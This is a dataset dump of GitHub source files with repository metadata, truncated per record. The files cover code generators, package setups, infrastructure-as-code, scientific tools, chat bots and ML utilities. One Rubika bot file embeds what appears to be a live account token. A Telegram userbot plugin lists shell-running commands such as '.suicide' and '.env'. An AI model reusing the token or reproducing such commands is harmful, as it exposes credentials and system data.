hexsha
stringlengths
40
40
size
int64
2
1.02M
ext
stringclasses
10 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
245
max_stars_repo_name
stringlengths
6
130
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
10
max_stars_count
int64
1
191k
⌀
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
⌀
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
⌀
max_issues_repo_path
stringlengths
4
245
max_issues_repo_name
stringlengths
6
130
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
10
max_issues_count
int64
1
67k
⌀
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
⌀
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
⌀
max_forks_repo_path
stringlengths
4
245
max_forks_repo_name
stringlengths
6
130
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
10
max_forks_count
int64
1
105k
⌀
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
⌀
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
⌀
content
stringlengths
2
1.02M
avg_line_length
float64
1
958k
max_line_length
int64
1
987k
alphanum_fraction
float64
0
1
content_no_comment
stringlengths
0
1.01M
is_comment_constant_removed
bool
2 classes
is_sharp_comment_removed
bool
1 class
f75b25eb4b4dfa45729d19d6a568a7d75312319c
10,003
py
Python
src/graphics/lib/magma/src/libmagma_linux/magma_generic_cc_gen.py
allansrc/fuchsia
a2c235b33fc4305044d496354a08775f30cdcf37
[ "BSD-2-Clause" ]
5
2022-01-10T20:22:17.000Z
2022-01-21T20:14:17.000Z
src/graphics/lib/magma/src/libmagma_linux/magma_generic_cc_gen.py
allansrc/fuchsia
a2c235b33fc4305044d496354a08775f30cdcf37
[ "BSD-2-Clause" ]
null
null
null
src/graphics/lib/magma/src/libmagma_linux/magma_generic_cc_gen.py
allansrc/fuchsia
a2c235b33fc4305044d496354a08775f30cdcf37
[ "BSD-2-Clause" ]
null
null
null
#!/usr/bin/env python3.8 # Copyright 2019 The Fuchsia Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. import json import re import sys def usage(): print( 'Usage:\n' ' magma_generic_cc_gen.py INPUT EXISTING OUTPU...
38.32567
131
0.592522
import json import re import sys def usage(): print( 'Usage:\n' ' magma_generic_cc_gen.py INPUT EXISTING OUTPUT [--debug]\n' ' INPUT json file containing the magma interface definition\n' ' EXISTING cpp file implementing zero or more magma entrypoints\n' ' OUT...
true
true
f75b260744463577d075486192c6a32315f4eadd
12,243
py
Python
setup.py
zagaria/cloud-custodian
dc087d1902e82d74d120a65af2ee22ec27f0d9b2
[ "Apache-2.0" ]
2
2020-10-20T11:05:54.000Z
2021-05-09T15:24:01.000Z
setup.py
zagaria/cloud-custodian
dc087d1902e82d74d120a65af2ee22ec27f0d9b2
[ "Apache-2.0" ]
null
null
null
setup.py
zagaria/cloud-custodian
dc087d1902e82d74d120a65af2ee22ec27f0d9b2
[ "Apache-2.0" ]
null
null
null
# Automatically generated from poetry/pyproject.toml # flake8: noqa # -*- coding: utf-8 -*- from setuptools import setup packages = \ ['c7n', 'c7n.actions', 'c7n.filters', 'c7n.reports', 'c7n.resources', 'c7n.ufuncs'] package_data = \ {'': ['*']} install_requires = \ ['argcomplete>=1.11.1,<2.0.0', 'boto3>=1.12...
249.857143
11,172
0.744262
from setuptools import setup packages = \ ['c7n', 'c7n.actions', 'c7n.filters', 'c7n.reports', 'c7n.resources', 'c7n.ufuncs'] package_data = \ {'': ['*']} install_requires = \ ['argcomplete>=1.11.1,<2.0.0', 'boto3>=1.12.31,<2.0.0', 'importlib-metadata', 'jsonschema>=3.2.0,<4.0.0', 'python-dateutil>=2.8.1,<3...
true
true
f75b273f129df21b38623583bf8627691488c2a3
1,268
py
Python
lego/apps/users/registrations.py
andrinelo/lego
9b53c8fe538d9107b980a70e2a21fb487cc3b290
[ "MIT" ]
null
null
null
lego/apps/users/registrations.py
andrinelo/lego
9b53c8fe538d9107b980a70e2a21fb487cc3b290
[ "MIT" ]
null
null
null
lego/apps/users/registrations.py
andrinelo/lego
9b53c8fe538d9107b980a70e2a21fb487cc3b290
[ "MIT" ]
null
null
null
from django.conf import settings from django.core import signing from django.core.signing import BadSignature, SignatureExpired, TimestampSigner class Registrations: @staticmethod def generate_registration_token(email): return TimestampSigner().sign(signing.dumps({'email': email})) @staticmethod ...
31.7
99
0.63959
from django.conf import settings from django.core import signing from django.core.signing import BadSignature, SignatureExpired, TimestampSigner class Registrations: @staticmethod def generate_registration_token(email): return TimestampSigner().sign(signing.dumps({'email': email})) @staticmethod ...
true
true
f75b27baa0804c8127d2a4ad4af23b6db73ccd46
36,357
py
Python
stdplugins/execmod.py
dqanshi/PornHub
162a7053ca7f2c0b3617b852559cfaf0502d94a7
[ "Apache-2.0" ]
2
2020-05-08T16:55:47.000Z
2020-05-09T19:10:24.000Z
stdplugins/execmod.py
dqanshi/PornHub
162a7053ca7f2c0b3617b852559cfaf0502d94a7
[ "Apache-2.0" ]
1
2021-02-08T20:45:09.000Z
2021-02-08T20:45:09.000Z
stdplugins/execmod.py
dqanshi/PornHub
162a7053ca7f2c0b3617b852559cfaf0502d94a7
[ "Apache-2.0" ]
3
2019-08-23T13:09:50.000Z
2020-07-01T03:39:30.000Z
"""COMMAND : .cpu, .uptime, .suicide, .env, .pip, .neofetch, .coffeehouse, .date, .stdplugins, .fast, .iwantsex, .telegram, .listpip, .pyfiglet, .kowsay, .name, .faast, .daddyjoke, .fortune, .qquote, .fakeid, .vpn, .kwot, .qpro, .covid""" # This Source Code Form is subject to the terms of the Mozilla Public # License, ...
33.324473
238
0.608274
from telethon import events import subprocess from telethon.errors import MessageEmptyError, MessageTooLongError, MessageNotModifiedError import io import asyncio import time import os import sys from telethon import events, functions, __version__ from uniborg.util import admin_cmd if not os.path.isdir("./SAVED"): ...
true
true
f75b2869bddfa352dba5671fd82a40192dc68cbb
6,600
py
Python
misc/acrn-config/target/misc.py
yfliuu/acrn-hypervisor
6289124e7c894323e2a5342bf201856d76512a60
[ "BSD-3-Clause" ]
null
null
null
misc/acrn-config/target/misc.py
yfliuu/acrn-hypervisor
6289124e7c894323e2a5342bf201856d76512a60
[ "BSD-3-Clause" ]
null
null
null
misc/acrn-config/target/misc.py
yfliuu/acrn-hypervisor
6289124e7c894323e2a5342bf201856d76512a60
[ "BSD-3-Clause" ]
null
null
null
# Copyright (C) 2019 Intel Corporation. All rights reserved. # # SPDX-License-Identifier: BSD-3-Clause # import parser_lib import subprocess MEM_PATH = ['/proc/iomem', '/proc/meminfo'] TTY_PATH = '/sys/class/tty/' SYS_IRQ_PATH = '/proc/interrupts' CPU_INFO_PATH = '/proc/cpuinfo' ttys_type = { '0': 'PORT', '3...
27.160494
106
0.567879
import parser_lib import subprocess MEM_PATH = ['/proc/iomem', '/proc/meminfo'] TTY_PATH = '/sys/class/tty/' SYS_IRQ_PATH = '/proc/interrupts' CPU_INFO_PATH = '/proc/cpuinfo' ttys_type = { '0': 'PORT', '3': 'MMIO', } ttys_irqs = [] def read_ttys_node(path): with open(path, 'rt') as info: ...
true
true
f75b28ebce8f92a7fd168a3e9ede352c5c08b169
1,375
py
Python
var/spack/repos/builtin/packages/py-pygments/package.py
wangyk6636/spack
4ddc0ff218d5ed0968f6efb0fac855b1b7127375
[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]
null
null
null
var/spack/repos/builtin/packages/py-pygments/package.py
wangyk6636/spack
4ddc0ff218d5ed0968f6efb0fac855b1b7127375
[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]
10
2021-02-23T14:05:37.000Z
2021-09-14T05:04:37.000Z
var/spack/repos/builtin/packages/py-pygments/package.py
RemiLacroix-IDRIS/spack
3e2f890467d448f746244be9d30b2f78aefe0dcb
[ "ECL-2.0", "Apache-2.0", "MIT-0", "MIT" ]
null
null
null
# Copyright 2013-2021 Lawrence Livermore National Security, LLC and other # Spack Project Developers. See the top-level COPYRIGHT file for details. # # SPDX-License-Identifier: (Apache-2.0 OR MIT) from spack import * class PyPygments(PythonPackage): """Pygments is a syntax highlighting package written in Python....
50.925926
96
0.763636
from spack import * class PyPygments(PythonPackage): homepage = "http://pygments.org/" pypi = "Pygments/Pygments-2.4.2.tar.gz" version('2.10.0', sha256='f398865f7eb6874156579fdf36bc840a03cab64d1cde9e93d68f46a425ec52c6') version('2.6.1', sha256='647344a061c249a3b74e230c739f434d7ea4d8b1d5f3721bc0f355...
true
true
f75b2b7e784a20edd3d4625d4e2c267d6099238e
1,336
py
Python
util.py
reyagroup/networkx_additional_algorithms
5781bc5a55a762188469755fc4e2a452ec817507
[ "IJG" ]
12
2015-05-04T11:54:54.000Z
2021-05-08T07:45:59.000Z
util.py
isnotinvain/nodens
20c249b3e181a72a32f4bbd60634dbafc9e27f22
[ "IJG" ]
1
2021-05-24T10:12:26.000Z
2021-05-24T10:12:26.000Z
util.py
isnotinvain/nodens
20c249b3e181a72a32f4bbd60634dbafc9e27f22
[ "IJG" ]
5
2016-06-05T07:23:01.000Z
2021-02-23T13:54:35.000Z
""" Alex Levenson alex@isnotinvain.com | www.isnotinvain.com (c) Reya Group | http://www.reyagroup.com Friday July 23rd 2010 """ import networkx as nx import csv import igraph def writeDict(dict,file,headerRow=None): """ Writes dict to file in CSV format file: a file object or a filepath headerRow: a list co...
23.438596
90
0.711826
import networkx as nx import csv import igraph def writeDict(dict,file,headerRow=None): file = nx.utils._get_fh(file, mode='w') writer = csv.writer(file) if headerRow: writer.writerow(headerRow) for k,v in dict.iteritems(): writer.writerow([k,v]) file.close() def writeNestedDict(dict,file,headerRow): file =...
true
true
f75b2b8e38de294986f6725c6adf88b2a7ee40e9
5,416
py
Python
mmcif/tests/testStarReader.py
rcsb/py-mmcif
8c9d723af90229362dd79660554a10a8baa14d3b
[ "Apache-2.0" ]
9
2019-08-29T09:43:02.000Z
2022-01-11T01:00:39.000Z
mmcif/tests/testStarReader.py
rcsb/py-mmcif
8c9d723af90229362dd79660554a10a8baa14d3b
[ "Apache-2.0" ]
7
2018-07-03T16:04:38.000Z
2022-03-23T05:54:37.000Z
mmcif/tests/testStarReader.py
rcsb/py-mmcif
8c9d723af90229362dd79660554a10a8baa14d3b
[ "Apache-2.0" ]
10
2019-03-05T18:06:59.000Z
2022-01-27T03:32:19.000Z
## # File: StarReaderTests.py # Author: jdw # Date: 5-Oct-2017 # Version: 0.001 ## """ Test cases for simple star file reader/writer -- """ from __future__ import absolute_import import logging import os import os.path import sys import time import unittest from mmcif.io.IoAdapterPy import IoAdapterPy as IoA...
38.685714
150
0.5589
from __future__ import absolute_import import logging import os import os.path import sys import time import unittest from mmcif.io.IoAdapterPy import IoAdapterPy as IoAdapter HERE = os.path.abspath(os.path.dirname(__file__)) TOPDIR = os.path.dirname(os.path.dirname(HERE)) try: from mmcif import __version__ exc...
true
true
f75b2bc91e131edcb880e8854b6e59c705dcfe1d
1,721
py
Python
w2v_model.py
worry1613/nlp-sentiment-analysis
3e6b08fc26d5b0413a80b29ac8e7ef12e38d35f7
[ "MIT" ]
8
2020-09-09T23:32:14.000Z
2022-03-05T08:11:53.000Z
w2v_model.py
worry1613/nlp-sentiment-analysis
3e6b08fc26d5b0413a80b29ac8e7ef12e38d35f7
[ "MIT" ]
null
null
null
w2v_model.py
worry1613/nlp-sentiment-analysis
3e6b08fc26d5b0413a80b29ac8e7ef12e38d35f7
[ "MIT" ]
4
2019-12-19T10:07:03.000Z
2021-11-21T06:43:11.000Z
# -*- coding: utf-8 -*- # @创建时间 : 19/2/2018 # @作者 : worry1613(549145583@qq.com) # GitHub : https://github.com/worry1613 # @CSDN : http://blog.csdn.net/worryabout/ from optparse import OptionParser from gensim.models import word2vec import logging logging.basicConfig(format='%(asctime)s : %(levelname)s : %(messa...
30.192982
109
0.633353
from optparse import OptionParser from gensim.models import word2vec import logging logging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s', level=logging.INFO) class W2v(object): def __init__(self,fin=None): self.model = None self.file = fin def load(self,fmodel): se...
true
true
f75b2cff5e61f671e542d1949c5699d1e54f5a96
5,754
py
Python
HandsOnDemo/DSS Example Code/email_service.py
Patrick-iOS/DevelopWithDeere2019-Mannheim
3763c93bde81eaae147d3894a960a0e3981afcf9
[ "MIT" ]
1
2019-12-11T10:34:06.000Z
2019-12-11T10:34:06.000Z
HandsOnDemo/DSS Example Code/email_service.py
Patrick-iOS/DevelopWithDeere2019-Mannheim
3763c93bde81eaae147d3894a960a0e3981afcf9
[ "MIT" ]
null
null
null
HandsOnDemo/DSS Example Code/email_service.py
Patrick-iOS/DevelopWithDeere2019-Mannheim
3763c93bde81eaae147d3894a960a0e3981afcf9
[ "MIT" ]
null
null
null
# Copyright (c) 2019 Deere & Company # This software may be modified and distributed under the terms # of the MIT license. See the LICENSE file for details. import smtplib from _common_setup import * from models.FieldOperation import FieldOperation from models.FieldOperationMeasurement import FieldOpMeasurem...
45.666667
220
0.689607
import smtplib from _common_setup import * from models.FieldOperation import FieldOperation from models.FieldOperationMeasurement import FieldOpMeasurement from email.mime.base import MIMEBase from email.mime.text import MIMEText from email.mime.multipart import MIMEMultipart font_family_style = "style=\"f...
true
true
f75b2d2c28d7a248763e6fd1ea586364e9715de5
10,492
py
Python
sdk/python/pulumi_azure_native/network/v20200401/service_endpoint_policy.py
pulumi-bot/pulumi-azure-native
f7b9490b5211544318e455e5cceafe47b628e12c
[ "Apache-2.0" ]
null
null
null
sdk/python/pulumi_azure_native/network/v20200401/service_endpoint_policy.py
pulumi-bot/pulumi-azure-native
f7b9490b5211544318e455e5cceafe47b628e12c
[ "Apache-2.0" ]
null
null
null
sdk/python/pulumi_azure_native/network/v20200401/service_endpoint_policy.py
pulumi-bot/pulumi-azure-native
f7b9490b5211544318e455e5cceafe47b628e12c
[ "Apache-2.0" ]
null
null
null
# coding=utf-8 # *** WARNING: this file was generated by the Pulumi SDK Generator. *** # *** Do not edit by hand unless you're certain you know what you are doing! *** import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union from ... import _utilities, _tables from...
56.713514
3,164
0.703298
import warnings import pulumi import pulumi.runtime from typing import Any, Mapping, Optional, Sequence, Union from ... import _utilities, _tables from . import outputs from ._inputs import * __all__ = ['ServiceEndpointPolicy'] class ServiceEndpointPolicy(pulumi.CustomResource): def __init__(__self__, ...
true
true
f75b2e14dc88ff0632bda2dc02b47a8888e32283
896
py
Python
aws-python-http-api-with-pynamodb/todos/create.py
chill-patel/examples
4f1665409c95aa9560e844e9aa1e49e96b38c890
[ "MIT" ]
10,320
2016-11-14T06:25:37.000Z
2022-03-31T17:26:31.000Z
aws-python-http-api-with-pynamodb/todos/create.py
chill-patel/examples
4f1665409c95aa9560e844e9aa1e49e96b38c890
[ "MIT" ]
394
2016-11-17T13:50:48.000Z
2022-03-27T21:04:47.000Z
aws-python-http-api-with-pynamodb/todos/create.py
chill-patel/examples
4f1665409c95aa9560e844e9aa1e49e96b38c890
[ "MIT" ]
4,775
2016-11-18T01:15:59.000Z
2022-03-31T09:16:09.000Z
import json import logging import uuid from todos.todo_model import TodoModel def create(event, context): print(event['body']) data = json.loads(event['body']) if 'text' not in data: logging.error('Validation Failed') return {'statusCode': 422, 'body': json.dumps({'error_m...
28
108
0.58817
import json import logging import uuid from todos.todo_model import TodoModel def create(event, context): print(event['body']) data = json.loads(event['body']) if 'text' not in data: logging.error('Validation Failed') return {'statusCode': 422, 'body': json.dumps({'error_m...
true
true
f75b2e46dbaf8fa6f821d6cfd61a432002282986
9,153
py
Python
gewittergefahr/scripts/convert_examples_myrorss_to_gridrad.py
dopplerchase/GewitterGefahr
4415b08dd64f37eba5b1b9e8cc5aa9af24f96593
[ "MIT" ]
26
2018-10-04T01:07:35.000Z
2022-01-29T08:49:32.000Z
gewittergefahr/scripts/convert_examples_myrorss_to_gridrad.py
liuximarcus/GewitterGefahr
d819874d616f98a25187bfd3091073a2e6d5279e
[ "MIT" ]
4
2017-12-25T02:01:08.000Z
2018-12-19T01:54:21.000Z
gewittergefahr/scripts/convert_examples_myrorss_to_gridrad.py
liuximarcus/GewitterGefahr
d819874d616f98a25187bfd3091073a2e6d5279e
[ "MIT" ]
11
2017-12-10T23:05:29.000Z
2022-01-29T08:49:33.000Z
"""Converts examples from MYRORSS to GridRad format.""" import os.path import argparse import numpy from gewittergefahr.gg_utils import radar_utils from gewittergefahr.gg_utils import time_conversion from gewittergefahr.deep_learning import input_examples from gewittergefahr.deep_learning import training_validation_io...
37.207317
80
0.738446
import os.path import argparse import numpy from gewittergefahr.gg_utils import radar_utils from gewittergefahr.gg_utils import time_conversion from gewittergefahr.deep_learning import input_examples from gewittergefahr.deep_learning import training_validation_io as trainval_io AZ_SHEAR_TO_VORTICITY = 0.5 MAX_LL_SHEA...
true
true
f75b2e6739f780073c01d37cf09a083dc6c926fb
1,925
py
Python
datadog_checks_dev/datadog_checks/dev/tooling/commands/release/trello/rc_build_cards_updater.py
vbarbaresi/integrations-core
ab26ab1cd6c28a97c1ad1177093a93659658c7aa
[ "BSD-3-Clause" ]
663
2016-08-23T05:23:45.000Z
2022-03-29T00:37:23.000Z
datadog_checks_dev/datadog_checks/dev/tooling/commands/release/trello/rc_build_cards_updater.py
vbarbaresi/integrations-core
ab26ab1cd6c28a97c1ad1177093a93659658c7aa
[ "BSD-3-Clause" ]
6,642
2016-06-09T16:29:20.000Z
2022-03-31T22:24:09.000Z
datadog_checks_dev/datadog_checks/dev/tooling/commands/release/trello/rc_build_cards_updater.py
vbarbaresi/integrations-core
ab26ab1cd6c28a97c1ad1177093a93659658c7aa
[ "BSD-3-Clause" ]
1,222
2017-01-27T15:51:38.000Z
2022-03-31T18:17:51.000Z
# (C) Datadog, Inc. 2020-present # All rights reserved # Licensed under a 3-clause BSD style license (see LICENSE) import json import re from ....trello import TrelloClient from ...console import abort, echo_info class RCBuildCardsUpdater: version_regex = r'(\d*)\.(\d*)\.(\d*)([-~])rc([\.-])(\d*)' def __in...
38.5
111
0.584935
import json import re from ....trello import TrelloClient from ...console import abort, echo_info class RCBuildCardsUpdater: version_regex = r'(\d*)\.(\d*)\.(\d*)([-~])rc([\.-])(\d*)' def __init__(self, trello: TrelloClient, release_version: str): self.__trello = trello match = re.fullmatch...
true
true
f75b2f1db88a743713a138fce42d8589af097b54
1,428
py
Python
src/utils/data_mgmt.py
Neelesh-Jaiswal/MLFlow-CNN-app
6147113f55e2f30ffcdcb529edc1a3aabf3c2bd8
[ "MIT" ]
null
null
null
src/utils/data_mgmt.py
Neelesh-Jaiswal/MLFlow-CNN-app
6147113f55e2f30ffcdcb529edc1a3aabf3c2bd8
[ "MIT" ]
null
null
null
src/utils/data_mgmt.py
Neelesh-Jaiswal/MLFlow-CNN-app
6147113f55e2f30ffcdcb529edc1a3aabf3c2bd8
[ "MIT" ]
null
null
null
import shutil import imghdr import os from PIL import Image import logging from src.utils.common import create_directories def validate_image(config: dict) -> None: PARENT_DIR = os.path.join( config['data']['unzip_data_dir'], config['data']['parent_data_dir']) BAD_DATA_DIR = os.path.join( ...
34.829268
94
0.606443
import shutil import imghdr import os from PIL import Image import logging from src.utils.common import create_directories def validate_image(config: dict) -> None: PARENT_DIR = os.path.join( config['data']['unzip_data_dir'], config['data']['parent_data_dir']) BAD_DATA_DIR = os.path.join( ...
true
true
f75b2fc215799d83778ee57f5973f2e54601e6ea
1,713
py
Python
modules/dbnd/test_dbnd/tracking/test_airflow_dag_inplace_tracking.py
kalebinn/dbnd
89b6ac3537f861784be73ffe8989bf63fca7401c
[ "Apache-2.0" ]
null
null
null
modules/dbnd/test_dbnd/tracking/test_airflow_dag_inplace_tracking.py
kalebinn/dbnd
89b6ac3537f861784be73ffe8989bf63fca7401c
[ "Apache-2.0" ]
null
null
null
modules/dbnd/test_dbnd/tracking/test_airflow_dag_inplace_tracking.py
kalebinn/dbnd
89b6ac3537f861784be73ffe8989bf63fca7401c
[ "Apache-2.0" ]
null
null
null
import pytest from mock import Mock from dbnd._core.constants import UpdateSource from dbnd._core.tracking.airflow_dag_inplace_tracking import ( AirflowOperatorRuntimeTask, AirflowTaskContext, build_run_time_airflow_task, ) def af_context_w_context(): task_instance = Mock() task = Mock() tas...
28.55
72
0.690018
import pytest from mock import Mock from dbnd._core.constants import UpdateSource from dbnd._core.tracking.airflow_dag_inplace_tracking import ( AirflowOperatorRuntimeTask, AirflowTaskContext, build_run_time_airflow_task, ) def af_context_w_context(): task_instance = Mock() task = Mock() tas...
true
true
f75b307957bf1120d07a3df52b80a3079015f0d6
24
py
Python
version.py
edgeless634/bilibili_spider
589bbd029d3db3e9382d2e825250fe21b12edc39
[ "MIT" ]
null
null
null
version.py
edgeless634/bilibili_spider
589bbd029d3db3e9382d2e825250fe21b12edc39
[ "MIT" ]
null
null
null
version.py
edgeless634/bilibili_spider
589bbd029d3db3e9382d2e825250fe21b12edc39
[ "MIT" ]
null
null
null
VERSION = "ALPHA 0.0.3"
12
23
0.625
VERSION = "ALPHA 0.0.3"
true
true
f75b313a443f7ec1b820afd9c9ae819a09b29452
24,438
py
Python
bot(2).py
yousef1108/bot
4e784cbdd8c52a94ee6ff8157aeebe835d80e246
[ "MIT" ]
null
null
null
bot(2).py
yousef1108/bot
4e784cbdd8c52a94ee6ff8157aeebe835d80e246
[ "MIT" ]
null
null
null
bot(2).py
yousef1108/bot
4e784cbdd8c52a94ee6ff8157aeebe835d80e246
[ "MIT" ]
null
null
null
from requests import get from re import findall import os import glob from rubika.client import Bot import requests from rubika.tools import Tools from rubika.encryption import encryption from gtts import gTTS from mutagen.mp3 import MP3 import time import random import urllib import io bot = Bot("ssnakxcydoxdtheauejq...
43.100529
268
0.608192
from requests import get from re import findall import os import glob from rubika.client import Bot import requests from rubika.tools import Tools from rubika.encryption import encryption from gtts import gTTS from mutagen.mp3 import MP3 import time import random import urllib import io bot = Bot("ssnakxcydoxdtheauejq...
true
true
f75b318b837831cf05b32ffe1c9745243ba2d1f3
4,708
py
Python
configurable_control_gym/envs/pendulum.py
takuseno/configurable-control-gym
9837e6c03c5a7fe6711b32dc70fe5e432e7d96c3
[ "MIT" ]
2
2020-08-03T12:49:13.000Z
2021-07-26T22:43:08.000Z
configurable_control_gym/envs/pendulum.py
takuseno/configurable-control-gym
9837e6c03c5a7fe6711b32dc70fe5e432e7d96c3
[ "MIT" ]
null
null
null
configurable_control_gym/envs/pendulum.py
takuseno/configurable-control-gym
9837e6c03c5a7fe6711b32dc70fe5e432e7d96c3
[ "MIT" ]
1
2021-07-23T11:05:10.000Z
2021-07-23T11:05:10.000Z
import gym from gym import spaces from gym.utils import seeding import numpy as np from os import path class PendulumEnv(gym.Env): metadata = { 'render.modes' : ['human', 'rgb_array'], 'video.frames_per_second' : 30 } def __init__(self, force=10.0, length=1.0, mass=1.0): if isinsta...
33.628571
112
0.556712
import gym from gym import spaces from gym.utils import seeding import numpy as np from os import path class PendulumEnv(gym.Env): metadata = { 'render.modes' : ['human', 'rgb_array'], 'video.frames_per_second' : 30 } def __init__(self, force=10.0, length=1.0, mass=1.0): if isinsta...
true
true
f75b31e7a17d0f9c71f6326efe35f8647e29eb32
551
py
Python
coding-challenges/hour-of-python/oxford-comma.py
acfromspace/infinitygauntlet
8d0d3c7229d6adabdfea6147a47ca5509c2946fd
[ "MIT" ]
3
2018-12-28T21:11:46.000Z
2021-04-03T05:19:56.000Z
coding-challenges/hour-of-python/oxford-comma.py
acfromspace/infinitygauntlet
8d0d3c7229d6adabdfea6147a47ca5509c2946fd
[ "MIT" ]
4
2019-07-11T21:52:55.000Z
2020-07-21T20:18:51.000Z
coding-challenges/hour-of-python/oxford-comma.py
acfromspace/infinitygauntlet
8d0d3c7229d6adabdfea6147a47ca5509c2946fd
[ "MIT" ]
null
null
null
""" @author: acfromspace """ # Make a function commafy that, given a list of three or more things, # returns a list with commas. # # >>>> commafy(["trinket", "learning", "fun"]) # trinket, learning, and fun # >>>> commafy(["lions", "tigers", "bears"]) # lions, tigers, and bears def commafy(list): # Add code here...
25.045455
69
0.635209
def commafy(list): return ", ".join(list[:-1]) + ", and " + list[-1] print(commafy(["trinket", "learning", "fun"])) print(commafy(["lions", "tigers", "bears"]))
true
true
f75b3271013111802187c197e90c5479823898ca
8,262
py
Python
pymagnitude/third_party/allennlp/semparse/worlds/atis_world.py
tpeng/magnitude
aec98628b5547773ca8c4114ec6d1ad51e21b230
[ "MIT" ]
1,520
2018-03-01T13:37:49.000Z
2022-03-25T11:40:20.000Z
pymagnitude/third_party/allennlp/semparse/worlds/atis_world.py
tpeng/magnitude
aec98628b5547773ca8c4114ec6d1ad51e21b230
[ "MIT" ]
87
2018-03-03T15:12:50.000Z
2022-02-21T15:24:12.000Z
pymagnitude/third_party/allennlp/semparse/worlds/atis_world.py
tpeng/magnitude
aec98628b5547773ca8c4114ec6d1ad51e21b230
[ "MIT" ]
121
2018-03-03T08:40:53.000Z
2022-03-16T05:19:38.000Z
from __future__ import absolute_import from copy import deepcopy #typing import numpy from parsimonious.grammar import Grammar from allennlp.semparse.contexts.atis_tables import * # pylint: disable=wildcard-import,unused-wildcard-import from allennlp.semparse.contexts.sql_table_context import\ SqlTableContex...
46.156425
109
0.659647
from __future__ import absolute_import from copy import deepcopy import numpy from parsimonious.grammar import Grammar from allennlp.semparse.contexts.atis_tables import * from allennlp.semparse.contexts.sql_table_context import\ SqlTableContext, SqlVisitor, generate_one_of_string, format_action from allenn...
true
true
f75b3306e7f88b0eeb609cbb758914733bd205d2
3,697
py
Python
tests/terraform/checks/resource/test_base_resource_value_check.py
pmalkki/checkov
b6cdf386dd976fe27c16fed6d550756a678a5d7b
[ "Apache-2.0" ]
4,013
2019-12-09T13:16:54.000Z
2022-03-31T14:31:01.000Z
tests/terraform/checks/resource/test_base_resource_value_check.py
pmalkki/checkov
b6cdf386dd976fe27c16fed6d550756a678a5d7b
[ "Apache-2.0" ]
1,258
2019-12-17T09:55:51.000Z
2022-03-31T19:17:17.000Z
tests/terraform/checks/resource/test_base_resource_value_check.py
pmalkki/checkov
b6cdf386dd976fe27c16fed6d550756a678a5d7b
[ "Apache-2.0" ]
638
2019-12-19T08:57:38.000Z
2022-03-30T21:38:37.000Z
import unittest from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.terraform.checks.resource.registry import resource_registry class TestAnyCheck(BaseResourc...
34.551402
97
0.628347
import unittest from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.terraform.checks.resource.registry import resource_registry class TestAnyCheck(BaseResourc...
true
true
f75b347b7ed3cd72b3831a96d99bcd9a4d6cc526
26,810
py
Python
vyxal/helpers.py
kokonut27/Vyxal
2277d18f69dc5a4c04b2f0bd4d55c90cdf2faa48
[ "MIT" ]
null
null
null
vyxal/helpers.py
kokonut27/Vyxal
2277d18f69dc5a4c04b2f0bd4d55c90cdf2faa48
[ "MIT" ]
null
null
null
vyxal/helpers.py
kokonut27/Vyxal
2277d18f69dc5a4c04b2f0bd4d55c90cdf2faa48
[ "MIT" ]
null
null
null
"""This is where the cool functions go that help out stuff. They aren't directly attached to an element. Consequently, you need to use type annotations here. """ import ast import collections import inspect import itertools import math # lgtm [py/unused-import] import textwrap import types from typing import Any, It...
28.58209
86
0.596233
import ast import collections import inspect import itertools import math import textwrap import types from typing import Any, Iterable, List, Optional, Union import sympy from sympy.parsing.sympy_parser import ( convert_xor, implicit_multiplication_application, standard_transformations, ) import vyxal....
true
true
f75b3557e861d98df3053c83895edbb0b6c8fbc0
3,902
py
Python
src/onevision/data/data_class/detection.py
phlong3105/onevision
90552b64df7213e7fbe23c80ffd8a89583289433
[ "MIT" ]
2
2022-03-28T09:46:38.000Z
2022-03-28T14:12:32.000Z
src/onevision/data/data_class/detection.py
phlong3105/onevision
90552b64df7213e7fbe23c80ffd8a89583289433
[ "MIT" ]
null
null
null
src/onevision/data/data_class/detection.py
phlong3105/onevision
90552b64df7213e7fbe23c80ffd8a89583289433
[ "MIT" ]
null
null
null
#!/usr/bin/env python # -*- coding: utf-8 -*- """Data class to store output from detectors. """ from __future__ import annotations import uuid from timeit import default_timer as timer from typing import Optional from typing import Union import cv2 import numpy as np from onevision.cv.imgproc.shape import box_xyxy...
24.540881
79
0.627627
from __future__ import annotations import uuid from timeit import default_timer as timer from typing import Optional from typing import Union import cv2 import numpy as np from onevision.cv.imgproc.shape import box_xyxy_to_cxcyrh from onevision.cv.imgproc.shape import get_box_center from onevision.type import Colo...
true
true
f75b35920d44ef99fc9618aa27f9c16fa55b8985
5,326
py
Python
utils/capture_frame.py
3D-FRONT-FUTURE/ObjectDrawer-ToolBox
0a74c18c1841b04e4bbbbc49ce444410e5c1352e
[ "Apache-2.0" ]
56
2021-12-27T04:52:55.000Z
2022-03-31T11:43:34.000Z
utils/capture_frame.py
3D-FRONT-FUTURE/ObjectDrawer-ToolBox
0a74c18c1841b04e4bbbbc49ce444410e5c1352e
[ "Apache-2.0" ]
null
null
null
utils/capture_frame.py
3D-FRONT-FUTURE/ObjectDrawer-ToolBox
0a74c18c1841b04e4bbbbc49ce444410e5c1352e
[ "Apache-2.0" ]
4
2021-12-16T03:19:18.000Z
2022-01-01T10:56:55.000Z
import argparse import ffmpeg # requirements: pip install ffmpeg-python import numpy as np import cv2 import os import os.path import sys sys.path.append(os.getcwd()) quality_thr = 1 # 10 def check_rotation(path_video_file): rotateCode = None try: # this returns meta-data of the video file in fo...
33.708861
125
0.587871
